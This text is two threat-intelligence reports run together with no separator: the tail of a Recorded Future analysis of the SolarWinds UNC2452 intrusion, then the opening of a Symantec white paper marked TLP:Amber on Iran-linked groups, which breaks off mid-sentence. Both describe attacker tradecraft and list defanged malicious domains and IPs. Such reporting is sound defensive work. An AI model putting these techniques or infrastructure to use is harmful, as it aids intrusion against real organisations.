+Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Figure 7: Reference showing the certificate registration dates for kubecloud[.]com domain. (Source: Recorded Future) +We see a TLS certificate registration for kubecloud[.]com on March 6, 2020. +Figure 8: References showing the domain registration and certificate registration dates for lcomputers[.]com domain. (Source: +Recorded Future) +We see the registration of lcomputers[.]com on February 5, 2018, but do not see a TLS certificate +registered until June 23, 2020. +Figure 9: References showing the domain registration and certificate registration dates for panhardware[.]com domain. +(Source: Recorded Future) +We see the registration of panhardware[.]com on May 20, 2019, and see a TLS certificate registered on +October 22, 2019, five months later. This registration so much prior to the other second-stage domains is +interesting and worthy of further investigation. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Figure 10: References showing the domain registration and certificate registration dates for seobundlekit[.]com domain. +(Source: Recorded Future) +We see the registration of seobundlekit[.]com on July 15, 2019, but do not see a TLS certificate registered +until February 6, 2020. +Figure 11: Reference showing the domain registration date for solartrackingsystem[.]com domain. (Source: Recorded Future) +For this domain and the next two domains, we see a reference to either a domain registration or a +certificate registration, but not both. For this reference, we see the registration of solartrackingsystem[.]net +on October 2, 2018, but do not see a TLS certificate registered. This absence of a TLS certificate does not +indicate that there is no certificate, as DomainTools shows a certificate for this domain. More likely, this is a +gap in our coverage for certificate registrations for that time period. +Figure 12: Reference showing the domain registration date for virtualwebdata[.]com domain. (Source: Recorded Future) +We see the registration of virtualwebdata[.]com on April 22, 2019, but do not see a TLS certificate +registered. +Figure 13: Reference showing the certificate registration date for webcodez[.]com domain. (Source: Recorded Future) +We see the registration of webcodez[.]com on January 15, 2020, but do not see a TLS certificate +registered. This is one of the most recent registrations we see from this set of domains. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +These delays between domain registration and certification registration suggest that the actor may +have parked these domains for future use. As a result, we suggest the addition of ATT&CK sub-technique, +T1583.001 Acquire Infrastructure: Domains, to the UNC2452 actor. +Three of the IP addresses associated with the second-stage domains in the DomainTools report were +previously seen in Recorded Future. IP addresses 13[.]57[.]184[.]217 and 198[.]12[.]75[.]112 were previously +reported on abuseipdb.com on April 6, 2018 and March 19, 2020, respectively. IP address 3[.]16[.]81[.]254 +was first seen on a public Pastebin post on January 20, 2019. +Figure 14: Reference showing mention of IP address 13[.]57[.]184[.]217 on AbuseIP Database on April 6, 2018. (Source: +Recorded Future) +Figure 15: Reference showing mention of IP address 198[.]12[.]75[.]112 on AbuseIP Database on March 19, 2020. (Source: +Recorded Future) +Figure 16: Reference showing mention of IP address 3[.]16[.]81[.]254 on PasteBin on January 20, 2019. (Source: Recorded +Future) +45[.]141[.]152[.]18 appears in multiple scans on the site Urlscan.io. Additionally, this IP address appeared +on the Recorded Future historic threat list, Recent Hosts of DDNS Names, observed July 19, 2020. +Possibility of Multiple Actors +Microsoft has also published indicators for a second malware which has been discovered to affect the +SolarWinds Orion product. It is undetermined whether this malware is associated with the Solorigate backdoor +or represents an additional threat actor. As per the Appendix section on the Microsoft blog: +In an interesting turn of events, the investigation of the whole SolarWinds compromise +led to the discovery of an additional malware that also affects the SolarWinds Orion +product but has been determined to be likely unrelated to this compromise and used +by a different threat actor. The malware consists of a small persistence backdoor in +the form of a DLL file named App_Web_logoimagehandler.ashx.b6031896.dll, which is +programmed to allow remote code execution through SolarWinds web application server +when installed in the folder +inetpub\SolarWinds\bin\ +. Unlike Solorigate, this malicious +DLL does not have a digital signature, which suggests that this may be unrelated to the +supply chain compromise. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Microsoft, GuidePoint, and Palo Alto Networks have dubbed this second malware, a .NET webshell, +SUPERNOVA. SUPERNOVA is thought to load CosmicGale, a malicious Powershell script. Microsoft advises that +if SUPERNOVA is detected on SolarWinds installations, it should be treated as a separate infection. While far +from conclusive, this additional malware raises the possibility of multiple actors within the same environment. +Multiple actors on the same system, knowingly or unknowingly, are not novel. For example, evidence of both +APT28 and APT29 were found on Democratic National Committee servers breached in 2016. Additionally, a file +leaked from the ShadowBrokers releases showed 45 file signatures that could be used to scan for infection +from other actors, some not publicly known at the time. Still, this adds to the argument that we are far from +decisive attribution. +Conclusions +At the Virus Bulletin 2018 conference, security researcher Juan Andres Guerrero-Saade stated, +Currently, +our understanding is stated in binary terms: +is the actor sophisticated or not? + As evidenced by the plethora +of media commentary around this new campaign, not much has changed. We have attempted to add more +color to the current picture of attribution, as well as attribution in general. +Based on our analysis, we believe the actor behind this campaign is exceptionally focused and patient, +even when compared with other state-sponsored campaigns; demonstrates an intricate knowledge of modern +information technology practices, architecture, and supply chains; is experienced in a wide variety of attacker +techniques; and is very familiar with security researcher techniques and approaches. We don +t have a full +picture of the details of this intrusion due a variety of factors, including at least partially, balkanized data +collection among a variety of security vendors and providers. +The actor behind the SolarWinds breach appears to be selective of targets, both in choosing particular +organizations to pursue and purposefully excluding organizations. Careful selection denotes a set of +requirements for targeting rather than targets of opportunity commonly seen in cybercrime incidents. Still, +this curated targeting evidently included FireEye, a curious choice for a cautious actor. Targeting a company +specializing in cybersecurity demonstrates a remarkable audacity, but has been previously seen from both +Russian-affiliated actors (NotPetya) and Chinese-affiliated actors (CCleaner). We can conclude this actor +either weighed requirements against high risk and believed FireEye was so critical a target as to risk an +entire operation, or the actor believed their expertise was such that discovery would not destroy their entire +operation. Alternatively, the actor may have been driven by a penchant for revenge: some have speculated part +of the motivation behind targeting the Hilary Clinton Presidential Campaign in 2016 was due to her approaches +while Secretary of State. Either way, the boldness speaks to the character of the actor, as well as escalates +the importance of the companies they excluded. Logically, if they believed discovery was at least a moderate +possibility, the actor likely excluded certain organizations from targeting to expand the time until the exposure. +Our analysis of UNC2452 shows no conclusive attribution, however that was not our exclusive intent. +Incident responses and investigations are ongoing at dozens of organizations, with hundreds of others +assessing impact. The leading theory of a single, known actor, speculated to be the Russian intelligence +services or, possibly, a Chinese actor should continue to be assessed. However, we conclude the particular +nation behind this campaign is irrelevant for the purposes of tactical defensive actions. Any single actor +hypothesis would inevitably be well-funded and state-affiliated, based on the operational time spent prior to +breach and the target set involved. Undoubtedly, there will be further information released in coming days +and weeks, as the full scope of the campaign comes into focus. Tactically, Recorded Future suggests following +the advice provided by security vendors for securing your networks and best practices for conducting +investigations. Strategically, we suggest clues be added to public, annotated ATT&CK matrixes of known +techniques. In this way, defenders can identify organizational gaps and prioritize improvements based on +their level of impact, better assessing risk to the organization at large. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Appendix +MITRE ATT&CK Analysis +Appendix Figure 1: Visualization of compiled UNC2452 techniques, generated on ATT&CK Navigator +We conducted an analysis of UNC2452 +s known techniques on MITRE ATT&CK Enterprise version 8. +UNC2452, as disclosed by FireEye thus far, demonstrates 25 techniques, and 14 sub-techniques under MITRE +ATT&CK. (Note: we compared techniques with those enumerated by the original FireEye report on UNC2452, +as well as one put together by Picus Security.) We then mapped out UNC2452 technique overlaps with APT29 +and APT41. Picus Security adds to certain techniques to their analysis for UNC2452, including: +T1021 Remote Services +T1036.003 Masquerade: Rename System Utilities +T1036.004 Masquerade Task or Service +T1036.05 Masquerade: Match Legitimate Name or Location +T1041 Exfiltration over C2 channel +T1078 Valid Accounts (also seen in Microsoft report) +T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion +T1583.003 Acquire Infrastructure: Virtual Private Servers +T1587.001 Develop Capabilities: Malware +UNC2452 has six techniques overlapped with APT29, and 11 techniques overlapped with APT41. Nine +techniques are novel and not seen in either actor +s known previous incidents. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Technique Overlaps with APT29 +Appendix Figure 2: MITRE ATT&CK mapping of UNC2452 [shown in red] and APT29 [shown in yellow]. Overlapping techniques are shown in orange. +Based on the FireEye report on UNC2452, we track five techniques that overlap with APT29: +Resource Development + T1583 Acquire Infrastructure (T1583.003 Private Web Server for UNC2452, T1583.006 Web +Server) + T1587 Develop capabilities, though different sub-techniques (Malware T1587.001 for UNC2452, +Digital Certificates T1587.003 for APT29) +Initial Access + T1078 Valid accounts (Domain accounts T1078.002 for APT29) +Execution + T1569 System Services +Persistence + T1078 Valid accounts (Domain accounts T1078.002 for APT29) +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Privilege Escalation + T1078 Valid accounts (Domain accounts T1078.002 for APT29) +Defensive Evasion + T1070 Indicator Removal on Host (File Deletion T1070.004) + T1078 Valid accounts (Domain accounts T1078.002 for APT29) + T1027 Obfuscated Files or Information +While this is not conclusive, it can be significant. Techniques shown in APT29 yet not appearing in +UNC2452 tracking may be areas for further discovery by defenders. Alternately, these techniques may have +not been applied toward this campaign. Conversely, techniques novel to UNC2452 yet not appearing in APT29 +may demonstrate newly deployed capabilities. Lack of overlay may open the possibility that UNC2452 is +not related to APT29, however this is far from conclusive. Either way, if UNC2452 is ultimately attributed to +APT29, this would indicate substantial investment in structure and capabilities. +Differences in UNC2452 and APT29 Techniques +Certain techniques used by UNC2452 have not been observed amongst known techniques for APT29. +Rather than disprove association, these could indicate substantial expansion of techniques. If UNC2452 +is ultimately synonymized with APT29, we can conclude extensive resources to support such technique +expansion: +Initial Access + T1195 Supply Chain Compromise, Sub-technique T1195.002 Compromise Software Supply Chain +Persistence + T1543 Create of Modify System Process, Sub-technique T1543.002 Windows Service +Privilege Escalation + T1543 Create of Modify System Process, Sub-technique T1543.002 Windows Service +Defensive Evasion + T1036 Masquerading Sub-techniques T1036.004 Masquerade Task or Service, T1036.05 Match +Legitimate Name or Location, T1036.003 Rename System Utilities + T1553 Subvert Trust Controls, Sub-technique T1553.002 Code Signing + T1497 Virtualization/Sandbox Evasion, Sub-technique T1497.003 Time Based Evasion +Lateral Movement + T1021 Remote Services +Command and Control + T1071 Application Layer Protocol, Sub-technique T1071.001 Web Protocols + T1568 Dynamic Resolution, T1568.002 Domain Generation Algorithms +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +UNC2452 Technique Overlaps with APT41 +Appendix Figure 3: Visualization of ATT&CK technique comparison between UNC2452 and APT41 +Some sources have posited the possibility of threat actors other than APT29 being behind the breach. One +possibility which is frequently mentioned is APT41, which is attributed to China according to the September +2020 U.S. Department of Justice indictments of seven defendants, and crosses between state-associated +espionage and cybercrime. We identified eight technique overlaps between APT41 and UNC2452: +Initial Access + T1195 Supply Chain Compromise, Sub-technique T1195.002 Compromise Software Supply Chain + T1078 Valid Accounts +Execution + T1569 System Services, Sub-technique T1569.002 Service Execution +Persistence + T1543 Create or Modify System Processes, Sub-technique T1543.003 Windows Service + T1078 Valid accounts +Privilege Escalation + T1543 Create or Modify System Processes, Sub-technique T1543.003 Windows Service + T1078 Valid accounts +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +Defensive Evasion + T1070 Indicator Removal on Host, Sub-technique T1070.004 File Deletion + T1036 Masquerading Sub-techniques T1036.05 Match Legitimate Name or Location + T1553 Subvert Trust Controls, Sub-technique T1553.002 Code Signing + T1078 Valid accounts +Command and Control + T1568 Dynamic Resolution, T1568.002 Domain Generation Algorithms +Other Actors +Other actors have been posited as candidates for this campaign. Winnti Group has been suggested as a +possible candidate actor, given similar DGA patterns seen in 2019 from CCleaner supply chain attacks. Some +further analysis is necessary, as the MITRE ATT&CK group for Winnti has only three ATT&CK techniques +associated with it: + T1057, Process Discovery, Winnti Group looked for a specific process running on infected servers + T1014, Rootkit +, Winnti Group used a rootkit to modify typical server functionality + T1553.002, Subvert Trust Controls: Code Signing, Winnti Group used stolen certificates to sign its +malware +These techniques do correspond with techniques leveraged in this campaign, especially the leveraging +of a trusted supply chain, however the current campaign is far more expansive, both in terms of technical +development and the scope of victims. +Novel Techniques for UNC2452 +A subset of techniques in UNC2452 are not seen in known techniques for APT29 nor APT41. Additionally, +these techniques are not documented for Winnti either, however this is at least partially attributed to the +incomplete MITRE ATT&CK group for this actor: +Execution + T1072 Software Deployment Tools +Defensive Evasion + T1036 Masquerading, Sub-techniques T1036.004 Masquerade Task or Service, T1036.003 +Rename System Utilities + T1497 Virtualization/Sandbox Evasion, Sub-technique T1497.003 Time Based Evasion +Discovery + T1057 Process Discovery + T1012 Query Registry + T1480.001 Execution Guardrails: Environmental Keying + T1497 Virtualization/Sandbox Evasion, Sub-technique T1497.003 Time Based Evasion + T1562.001 Impair Defense: Disable or Modify Tools +Lateral Movement + T1021 Remote Services +Command and Control + T1071 Application Layer Protocol, Sub-technique T1071.001 Web Protocols +Exfiltration + T1041 Exfiltration of C2 Channel +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +POINT OF VIEW +About Recorded Future +Recorded Future arms security teams with the only complete security intelligence +solution powered by patented machine learning to lower risk. Our technology +automatically collects and analyzes information from an unrivaled breadth of sources +and provides invaluable context in real time and packaged for human analysis or +integration with security technologies. +POV-2020-1230 +Recorded Future + | www.recordedfuture.com +Symantec Critical Attack Discovery and Intelligence +Current Iran-Associated Cyber Threats +White Paper +Broadcom +SED-IAP-WP100 +January 24, 2020 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Broadcom, the pulse logo, Connecting everything, and Symantec are among the trademarks of Broadcom. +Copyright + 2020 Broadcom. All Rights Reserved. +The term +Broadcom + refers to Broadcom Inc. and/or its subsidiaries. For more information, please visit www.broadcom.com. +Broadcom reserves the right to make changes without further notice to any products or data herein to improve reliability, +function, or design. Information furnished by Broadcom is believed to be accurate and reliable. However, Broadcom does +not assume any liability arising out of the application or use of this information, nor the application or use of any product or +circuit described herein, neither does it convey any license under its patent rights nor the rights of others. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Table of Contents +Chapter 1: About This Document ...................................................................................................... 4 +Chapter 2: Executive Summary ......................................................................................................... 5 +2.1 Iranian Cyber Ecosystem .........................................................................................................................................5 +2.2 Key Observations......................................................................................................................................................6 +2.3 Outlook.......................................................................................................................................................................6 +Chapter 3: Details of Groups ............................................................................................................. 7 +3.1 Shamoon....................................................................................................................................................................7 +3.2 Dustman/ZeroCleare .................................................................................................................................................8 +3.3 Elfin ............................................................................................................................................................................8 +3.3.1 Case Study 1 ....................................................................................................................................................9 +3.3.2 Case Study 2 ..................................................................................................................................................10 +3.4 Seedworm ................................................................................................................................................................10 +3.4.1 Case Study 1 ..................................................................................................................................................10 +3.4.2 Case Study 2 ..................................................................................................................................................11 +3.5 Tortoiseshell............................................................................................................................................................12 +3.6 Chafer.......................................................................................................................................................................12 +3.7 Crambus...................................................................................................................................................................13 +3.7.1 Case Study .....................................................................................................................................................13 +3.8 Other Iran-linked Groups........................................................................................................................................14 +Chapter 4: Conclusion ..................................................................................................................... 15 +Appendix A: Indicators of Compromise (IOCs) ............................................................................. 16 +Appendix B: Mitre Attack Techniques ............................................................................................ 19 +Revision History ............................................................................................................................... 24 +SED-IAP-WP100; January 21, 2020.............................................................................................................................. 24 +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Chapter 1: About This Document +This report is classified TLP: Amber. +The Traffic Light Protocol (TLP) was created in order to facilitate greater sharing of information. TLP is a set of designations +used to ensure that sensitive information is shared with the appropriate audience. +TLP:Red: Recipients may not share TLP:RED information with any parties outside of the specific exchange, meeting, or +conversation in which it was originally disclosed. +TLP:Amber: Recipients may only share TLP:AMBER information with members of their own organization, and with +clients or customers who need to know the information to protect themselves or prevent further harm. +TLP:Green: Recipients may share TLP:GREEN information with peers and partner organizations within their sector or +community, but not via publicly accessible channels. +TLP:White: Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. +For additional information on the TLP, see http://www.us-cert.gov/tlp. +For a briefing on this white paper, contact us at Threat.Intelligence@broadcom.com to connect with a Symantec security +specialist. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Chapter 2: Executive Summary +Increased tensions between the U.S. and Iran have led to fears of an upsurge in Iranian cyber attacks against organizations +associated with the U.S. and its allies. Iran has an extensive track record in this sphere, with government-sponsored cyber +threat groups conducting numerous offensive cyber operations in recent years. +Symantec, a Broadcom company, assesses that these groups will continue to conduct operations at a high pace. +Furthermore, Symantec believes that any escalation in the number of operations or changes in industry or regional targeting +focus will take time to materialize. Organizations in previously compromised industries and regions face a higher threat of +being targeted by Iranian cyber operations and should re-examine their detection and mitigation strategies to deter Iranian +government-sponsored threat groups' known tactics, techniques, and procedures (TTPs). +However, an internal need to mount some kind of public response may mean the nature of Iranian activity may differ with +the change in circumstances, causing them to target different organizations, in particular highly visible organizations +associated with the U.S. and its allies. +This document summarizes the various targeted attack activity groups, their recent action, and some indicators of +compromise (IOCs) with the intention of providing the reader with an understanding of capabilities and techniques used by +groups known to be operating from Iran. The attribution underlying the data in this paper is based on publicly available +information and is not solely based on our own analysis directly. +2.1 Iranian Cyber Ecosystem +The Iranian cyber ecosystem is decentralized and fluid, with individual threat actors moving between cyber espionage +groups and even undertaking cyber crime activity. Attacks are not infrequently outsourced to individual external contractors +working within small corporate consultancies. This structure makes it difficult for researchers to definitively group threat +actors and can offer the Iranian government plausible deniability for destructive attacks. In several cases, Symantec has +seen threat actor groups share tools, infrastructure, targets, and tactics. +The tactics of Iranian threat actors have evolved from quick and relatively simple destructive attacks, such as distributed +denial of service (DDoS) attacks or website defacements, to an increased focus on network compromises where the actors +maintain a persistent foothold and obfuscate their presence to make attribution difficult. Iranian groups have increasingly +targeted critical infrastructure including energy and telecommunications companies. +Iranian threat groups have also been tied to multiple destructive wiper attacks. Identifying potential targets for destructive +attacks is particularly problematic because a change from espionage to destruction comes with limited warning if a threat +group is already present on a network, as seen with Timberworm and Greenbug espionage operations facilitating the +Shamoon destructive attacks beginning in late 2016. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +2.2 Key Observations +Considering the multitude of disparate groups operating and conducting cyber attacks against organizations around the +globe, there is not a single trait that defines them. The following are some key observations from tracking these groups: +During recent years, actor groups operating out of Iran have honed their skills at an unprecedented scale, being able to +victimize Fortune 500 organizations along with their public sector counterparts. +The groups appear to be unconcerned with attacks being publicly attributed to them. +Aside from Greenbug and Shamoon having worked together, most of the different groups seldom work in tandem; they +seem to mostly be independent of each other, working under organizational mandates which do not often intersect. +In the early years, the groups appeared motivated to conduct DDoS attacks against financial institutions, with the aim of +attempting heists, but those attacks have not been seen for several years. +Groups such as Elfin, Crambus, Seedworm, Chafer, Tortoiseshell, and others are motivated to conduct espionage by +attacking: + Private sector: Telecommunication providers, transportation (air and marine) entities, defense contractors, oil and +natural gas companies, and those in their supply chain. + Public sector: Military intelligence, diplomatic missions, think tanks, and defense ministries. +Some of the groups have no reservations in conducting destructive attacks, rendering computing equipment unusable. +Several groups make extensive use of dynamic DNS services while conducting attack campaigns. +At least two of the groups have shown a proclivity towards using DNS as a communication channel between victimized +computers and the malware's control infrastructure, that is DNS tunneling. This functionality has been observed across +both IPv4 and IPv6. +The two most widely used methods of infiltrating a target's network remain: + Spear phishing using topical themes with embedded scripts that invoke PowerShell to download additional +components. + Publicly documented vulnerabilities such as those in VPN and web servers. +All groups rely on public or open-source tools (Mimikatz, LaZagne, and so on) to conduct their campaigns; the only +differing factor amongst the groups is the degree of reliance. +There appear to be several hacktivists that conduct uncoordinated attacks, like site defacements, as a sign of +patriotism. These are unpredictable and opportunistic, so details have been left out of this document. +2.3 Outlook +Given the history of attacks originating from Iran, it is evident the groups consider destruction of equipment as an acceptable +form of damage to targets. However, to date these incidents have only targeted Middle Eastern entities. Iranian actors have +not shown an appetite for conducting similar attacks against Western organizations. Considering the tense geopolitical +climate in 2020 and based on previous Iranian activity, we believe cyber attacks originating from Iran or Iranian proxies would +be (in order of descending probability): +Wipers being used for destructive attacks against critical infrastructure +Infrastructure for telecommunication providers being attacked to disrupt services +Hacktivist defacements of popular websites +DDoS attacks against financial entities +To date, most Iran originating actor groups, other than Greenbug and Shamoon, operated with only a small degree of +collaboration. We suspect a coordinated attack campaign is more likely in 2020 but organizing such an attack is likely to take +time. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Chapter 3: Details of Groups +Over the past several months, several Iran-linked threat groups named Shamoon, Elfin, Seedworm, and Crambus have +been especially prolific against a wide range of industry verticals. +3.1 Shamoon +Name +Shamoon +Aliases +Cutting Sword of Justice +First Seen +2012 +Malware Used +W32.Disttrack, W32.Disttrack.B, Trojan.Filerase +Targeted Sectors +Energy, Aviation, Government +Infection Vectors +Secondary infections +Shamoon has received a lot of public attention since it first appeared in August 2012 and used the malware family +W32.Disttrack in its attacks against two Middle Eastern oil and natural gas organizations. The attacks were destructive in +nature, wiping out critical data from computers and rendering them unusable. +The malware used by this group leveraged a legitimate driver to wipe machines, and subsequently reported wiping statistics +to a command and control (C&C) server. +In both attacks from 2012, and those subsequently seen towards the end of 2016, hard-coded network credentials were +configured into the malware, which assisted its spreading across the network. These credentials were acquired and likely +shared by Greenbug, allowing Shamoon the ability to execute its attack. +Table 1 shows the timeline of activity on a single computer used as patient zero during a Shamoon attack at the end of 2016. +Table 1: Activity Timeline on Computer During 2016 Shamoon Attack +Time +File Name +Description +08/12/2016 06:24 +MSMPENG.EXE +Mimikatz +18/01/2017 16:33 +in-cloud4.exe +PSExec +18/01/2017 16:33 +cloudapp4.exe +PAADmin +18/01/2017 16:35 +PNRP4.exe +Hacktools +18/01/2017 18:48 +gc.exe +Hacktools +18/01/2017 18:48 +gc.exe +Hacktools +18/01/2017 18:49 +ff.exe +Hacktools +18/01/2017 18:49 +ie.exe +Hacktools +18/01/2017 18:49 +ff.exe +Hacktools +18/01/2017 18:49 +ie.exe +Hacktools +18/01/2017 18:50 +em.exe +Hacktools +18/01/2017 18:50 +em.exe +Hacktools +18/01/2017 18:52 +ol.exe +Hacktools +22/01/2017 18:19 +pnrp4.exe +Hacktools +22/01/2017 18:19 +cloudapp4.exe +Hacktools +23/01/2017 03:05 +ntertmgr32.exe +W32.Disttrack.B +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Credentials were likely stolen a month prior to the attackers' return to use common legitimate tools to dump additional +information from the victim network before deploying Disttrack. +Shamoon reappeared for a third time in December 2018 when it was once again used against targets in the Middle East. +These attacks were doubly destructive, since they involved a new wiper (Trojan.Filerase) that deletes files from infected +computers before the Shamoon malware wipes the master boot record (MBR). +3.2 Dustman/ZeroCleare +Name +Dustman +Aliases +ZeroCleare +First Seen +2019 +Malware Used +Dustman, ZeroCleare +Targeted Sectors +Energy +Infection Vectors +Unknown +In December 2019, IBM X-Force publicly wrote about a wiper malware it came across and named ZeroCleare based on PDB +strings within the malware. This malware is an evolution of Disttrack, used in the Shamoon incidents. The authors updated +the malware logic but retained the underlying logic of utilizing the Eldos driver to overwrite the MBR and partitions. The +attackers used a vulnerable VirtualBox driver to bypass security controls and eventually use the Eldos driver to gain direct +access to the raw hard disk and conduct their wiping operation. +Symantec automatically detected and blocked this piece of malware in July 2019, which appears closer to the date of +compilation of the malware in June 2019. +In January 2020, the National Cybersecurity Authority of Saudi Arabia released a report about a wiper malware they called +Dustman based on the file name used during an attack campaign. Dustman is a further evolution of ZeroCleare, where the +authors optimized functionality into a single file instead of the methods used in the June/July campaigns. +3.3 Elfin +Name +Elfin +Aliases +APT33, Stonedrill, Holmium, Refined Kitten, Magnallium, Alibaba +First Seen +2015 +Malware Used +Hacktool.Mimikatz, Backdoor.Notestuk, Trojan.Nancrat, Trojan.Netweird.B, Trojan.Stonedrill, +Backdoor.Patpoopy, Trojan.Quasar, RULER, Backdoor.Powerton +Targeted Sectors +Aerospace, Defense, Energy, Chemical Engineering, Financial, Food, Government, Logistics, Professional +Services, Shipping, Technology +Infection Vectors +Email +Elfin relies on custom and commodity malware to gather data for likely cyber espionage operations targeted at entities +primarily in Saudi Arabia and the United States. +Elfin makes extensive use of dynamic DNS infrastructure during targeting, along with purchased hosts at globally located +VPS providers serving as proxies for C&C. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +3.3.1 Case Study 1 +In June 2019, Elfin sent out a phishing email to hundreds of recipients across multiple countries in what could be deemed +an opportunistic trawling attack. The link within the document led recipients to dynamic DNS infrastructure controlled by the +attackers. Figure 1 is a screenshot of the email sent. +Figure 1: Screenshot of Email Sent by Elfin +As Symantec observed email activity across numerous sectors and regions, it appeared likely that Elfin was conducting a +widespread email campaign with enticing lures to hook high-value targets at multiple organizations, rather than targeting +specific industries. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +3.3.2 Case Study 2 +Subsequently, in late August 2019, Elfin operators compromised a victim in Saudi Arabia with a malicious HTA file. Following +the initial compromise, Elfin continued to rely on the group's known TTPs to further its foothold in the host. During the +incident, the legitimate utility mshta.exe executed a malicious HTA file with a job application theme (Figure 2). +Figure 2: Malicious HTA file with a Job Application Theme +Based on the file path of the malicious HTA file in the command shown in Figure 2, the file was downloaded after a victim +used Microsoft Edge to visit a malicious website. Elfin actors have previously leveraged emails containing links to malicious +websites that, when visited, automatically download their first-stage malware to victim machines. +A PowerShell command then downloaded a JPG file from a dynamic DNS host spoofing a U.S. defense contractor. +Figure 3: PowerShell Command Used to Download JPG File +3.4 Seedworm +Name +Seedworm +Aliases +MuddyWater, Temp Zagros, Static Kitten +First Seen +2017 +Malware Used +Backdoor.Powemuddy, (aka Powermud, POWERSTATS), SHARPSTATS, DELPHSTATS, Backdoor.Mori +Targeted Sectors +Government, Energy, Telecommunications, Technology, Research +Infection Vectors +Email +Seedworm has been engaging in espionage operations predominately in Turkey, Pakistan, Russia, and a number of Middle +Eastern countries. +3.4.1 Case Study 1 +Between April and June 2019, Seedworm used the Powermud v2 backdoor to attack four victims in the telecommunications +and education industries in Turkey, New Zealand, Ukraine, and the United Kingdom. +Seedworm gained access to the victims' networks through phishing emails with attached Microsoft Word documents, which +the actors likely used as lure files. These documents contained a malicious macro that runs when the user clicks Enable +Editing and Enable Content. Examples of these documents are shown in Figure 4. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Figure 4: Examples of Word Documents Used by Seedworm +On a computer within an IT services management company in Turkey, the group uploaded PowerShell Empire, a postexploitation framework that allows users to run PowerShell commands without using powershell.exe, which includes +modules to aid in credential stealing and data collection. +After compromising a target system by installing Powermud, Seedworm first runs a tool that steals passwords saved in users' +web browsers and email, demonstrating that access to the victim's email, social media, and chat accounts is one of the +group's likely goals. Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows +authorization credentials. Seedworm uses off-the-shelf, unmodified versions of these tools as well as custom-compiled +variants, which we have determined are only used by this group. +In order to perform lateral movement on the victim's network, Seedworm uses a vulnerability scanner to search for Microsoft +Server Message Block (SMB) remote code execution vulnerabilities on other computers in the compromised subnet (see +security update MS17-010). +3.4.2 Case Study 2 +The most recent Seedworm espionage activity was seen between October 2019 and January 2020, against international +public organizations, think tanks, and telcos across the U.S., Nigeria, Afghanistan, Iraq, Saudi Arabia, and Pakistan. The +malware used by Seedworm in this attack is called Backdoor.Mori, which: +Creates and stores data within the registry under HKLM\Software\NFC +Executes commands from the operator on-demand, utilizing pipes and cmd.exe /c +Uses DNS tunneling to communicate with its C&C server +Examined samples contain the following domains to be used for DNS tunneling C&C communication, one of which is picked +randomly and used: +Table 2: Domains Used for DNS Tunneling C&C Communication +device-update [ . ]tk +googlecloud [ . ]cf +googlecloud [ . ]gq +microsoftsecurity [ . ]gq +msdn-social [ . ]ml +msdn-social [ . ]tk +officex64 [ . ]ml +outlook-accounts [ . ]ml +outlook-accounts [ . ]tk +spacex [ . ]cf +spacex [ . ]gq +windowscortana [ . ]tk +windows-patch [ . ]ml +windows-patch [ . ]tk +Some variants of Backdoor.Mori communicate via HTTP with a unique identifier for the sample being used, possibly +customized for the victim network +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +Seedworm appears to have used Word and Excel documents as the infection vector during this attack campaign. These +documents used a combination of JavaScript downloaders and PowerShell to install the Mori backdoor on victim computers. +As an example, on one targeted computer Excel was observed being used to download additional components, as shown +in Figure 5. +Figure 5: Excel Used to Download Additional Components +3.5 Tortoiseshell +Name +Tortoiseshell +Aliases +None +First Seen +2018 +Malware Used +Backdoor.Syskit +Targeted Sectors +IT services +Infection Vectors +Compromised web servers +Tortoiseshell has tentative links to the Elfin group. The group has to date focused itself on performing classic supply chain +attacks against Saudi Arabian organizations. The target organizations are primarily IT providers operating widely in the +region. Tortoiseshell is believed to be compromising IT providers in order to gain access to their clients. +As part of the infection routine on one target, the attackers initially compromised a web server, installed a web shell, and then +used it to deploy malware onto the network. Once on a victim computer, Tortoiseshell deploys several information gathering +tools, retrieving a range of information about the computer, including IP configuration, running applications, system +information, network connectivity, and so on. +3.6 Chafer +Name +Chafer +Aliases +APT39 +First Seen +2014 +Malware Used +Backdoor.Remexi, Backdoor.Remexi.B, Backdoor.Agenty, Backdoor.Tcpy, and Backdoor.Httpy +Targeted Sectors +Airlines, Telecommunications, Software Development +Infection Vectors +Email, SQL Injections +Chafer is one of the most active Iran-linked groups in operation. Chafer has compromised a large number of organizations +based in the Middle East and Europe. +Chafer appears to be primarily involved in intelligence gathering and several of its attacks, such as those against telco +operators or airlines, were likely carried out to facilitate surveillance of end-user customers. +Broadcom +SED-IAP-WP100 +Symantec Critical Attack Discovery and Intelligence White Paper +Current Iran-Associated Cyber Threats +One 